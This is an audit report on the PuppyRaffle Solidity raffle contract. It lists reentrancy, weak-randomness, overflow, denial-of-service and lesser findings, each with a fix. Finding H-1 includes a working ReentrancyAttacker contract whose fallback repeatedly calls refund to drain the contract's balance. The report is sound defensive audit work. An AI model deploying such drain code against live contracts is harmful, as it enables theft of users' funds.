# PuppyRaffle Audit Report

Version 1.0

*Yoann LHOMME*

March 12, 2025

# Protocol Audit Report

Yoann LHOMME

March 12, 2025

Prepared by: Yoann Lead Auditors: - Yoann LHOMME

## Table of Contents

## Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The whole team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

### Scope

```
./src/
#-- PuppyRaffle.sol
```

### Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

### Issues found

| Severity | Number of issues found |
|---|---|
| High | 3 |
| Medium | 3 |
| Low | 1 |
| Info | 7 |
| Gas | 2 |
| Total | 16 |

## Findings

### High

#### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant resulting in the loss of all the money that store inside the refund function

**Description:** The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance. The update of the player

index is set after the `sendValue` call, resulting in a reetrancy attack where an attacker can steal all the money of the refund function.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        // @audit Reentrancy
        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

**Impact:** All the money can be stolen by the malicious participant.

**Proof of Concept:** Here is the PoC of the reentrancy vulnerability :

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

**Proof of Code**

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
        console.log("Test started");

        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
```

```
12          address attackUser = makeAddr("attackUser");
13          vm.deal(attackUser, 1 ether);
14
15          uint256 StartingAttackContractBalance = address(
                attackerContract).balance;
16          uint256 StartingPuppyRaffleBalance = address(puppyRaffle).
                balance;
17
18          // attack
19          vm.prank(attackUser);
20          attackerContract.attack{value: entranceFee}();
21
22          console.log("StartingAttackContractBalance: ",
                StartingAttackContractBalance);
23          console.log("StartingPuppyRaffleBalance: ",
                StartingPuppyRaffleBalance);
24
25          console.log("EndingAttackContractBalance: ", address(
                attackerContract).balance);
26          console.log("EndingPuppyRaffleBalance: ", address(puppyRaffle).
                balance);
27      }
28  }
29
30  contract ReentrancyAttacker {
31      PuppyRaffle puppyRaffle;
32      uint256 entranceFee;
33      uint256 attackerIndex;
34
35      constructor(PuppyRaffle _puppyRaffle) {
36          puppyRaffle = _puppyRaffle;
37          entranceFee = puppyRaffle.entranceFee();
38      }
39
40      function attack() external payable {
41          address[] memory players = new address[](1);
42          players[0] = address(this);
43          puppyRaffle.enterRaffle{value: entranceFee}(players);
44
45          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
46          puppyRaffle.refund(attackerIndex);
47      }
48
49      function _stealMoney() internal {
50          if (address(puppyRaffle).balance >= entranceFee) {
51              puppyRaffle.refund(attackerIndex);
52          }
53      }
54
55      fallback() external payable {
```

```
56          _stealMoney();
57      }
58
59      receive() external payable {
60          _stealMoney();
61      }
62  }
```

**Recommended Mitigation:** The state of the `player` array must be update before making the external call. Additionally, we should move the event emission up as well.

```
1   function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8           payable(msg.sender).sendValue(entranceFee);
9   -       players[playerIndex] = address(0);
10  -       emit RaffleRefunded(playerAddress);
11      }
```

### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

**Description:** There is a weak random function use to pick a winner that use the keccak256 hash function with `msg.sender`, `block.timestamp`, and `block.difficulty`. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

*Note:* This additionally means users could front-run this function and call `refund` if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. This can lead to loss of fund of the entire contract.

**Proof of Concept:**

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner !

3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

**Recommended Mitigation:** Using chainlink VRF to have a cryptographically provable random number

### [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

**Description:** In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAdress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAdress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

Code

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 80000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

```
function test_overflow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);
    }
```

**Recommended Mitigation:**

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `safeMath` library of OpenZeppelin for version 0.7.6, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check for `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vector with that final require, so we recommend removing it regardless.

## Medium

### [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

**Description** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks

a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1         // @audit Dos Attack
2         for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

**Impact** The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue. An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

**Proof of Concept:**

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

Proof of Code

”’javascript function testDenialOfService() public { // Foundry lets us set a gas price vm.txGasPrice(1);

```
1   // Creates 100 addresses
2   uint256 playersNum = 100;
3   address[] memory players = new address[](playersNum);
4   for (uint256 i = 0; i < players.length; i++) {
5       players[i] = address(i);
6   }
7
8   // Gas calculations for first 100 players
9   uint256 gasStart = gasleft();
10  puppyRaffle.enterRaffle{value: entranceFee * players.length}(players)
        ;
11  uint256 gasEnd = gasleft();
12  uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
13  console.log("Gas cost of the first 100 players: ", gasUsedFirst);
14
15  // Creates another array of 100 players
16  address[] memory playersTwo = new address[](playersNum);
17  for (uint256 i = 0; i < playersTwo.length; i++) {
18      playersTwo[i] = address(i + playersNum);
19  }
20
21  // Gas calculations for second 100 players
```

```
22    uint256 gasStartTwo = gasleft();
23    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
          playersTwo);
24    uint256 gasEndTwo = gasleft();
25    uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
26    console.log("Gas cost of the second 100 players: ", gasUsedSecond);
27
28    assert(gasUsedSecond > gasUsedFirst);
```

}"'

**Recommended mitigation** There a few recommandations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +     mapping(address => uint256) public addressToRaffleId;
2  +     uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -        // Check for duplicates
14 +       // Check for duplicates only from the new players
15 +       for (uint256 i = 0; i < newPlayers.length; i++) {
16 +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +       }
18 -        for (uint256 i = 0; i < players.length; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -            }
22 -        }
23         emit RaffleEnter(newPlayers);
24     }
25 .
26 .
27 .
28     function selectWinner() external {
```

```
29 +        raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

1. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

### [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

**Description:** In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

**Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

**Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

### [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

**Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

**Proof of Concept:**

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The selectWinner function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> It is best pratice to use Pull over Push

### Low

#### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

**Description:** The `getActivePlayerIndex(address player)` return 0 when an address is not active, however if a player is at index 0 then he will think is not active, therefore it will not be able to call the refund function to recover his money.

```
1 function getActivePlayerIndex(address player) external view returns (
    uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         return 0;
8     }
```

**Impact:** A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

**Proof of Concept:**

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

A better solution might be to return an `int256` where the function returns -1 if the player is not active.

## Gas

### [G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

### [G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+        uint256 playerLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

## Informational/Non-Crits

### [I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

### [I-2] Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommendation**

Deploy with a recent version of Solidity (at least `0.8.28`) with no known severe issues.

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

### [I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 206

```
1          feeAddress = newFeeAddress;
```

### [I-4] `PuppyRaffle::selectWinner` should follow CEI (Checks, Effects, Interactions)

It is best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1  -       (bool success,) = winner.call{value: prizePool}("");
2  -       require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3          _safeMint(winner, tokenId);
4  +       (bool success,) = winner.call{value: prizePool}("");
5  +       require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

### [I-5] Use of magic numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are a given name.

Examples:

```
1  uint256 prizePool = (totalAmountCollected * 80) / 100;
2  uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use :

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

### [I-6] State changes are missing events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

### [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

**Description:** The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
```diff
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```
```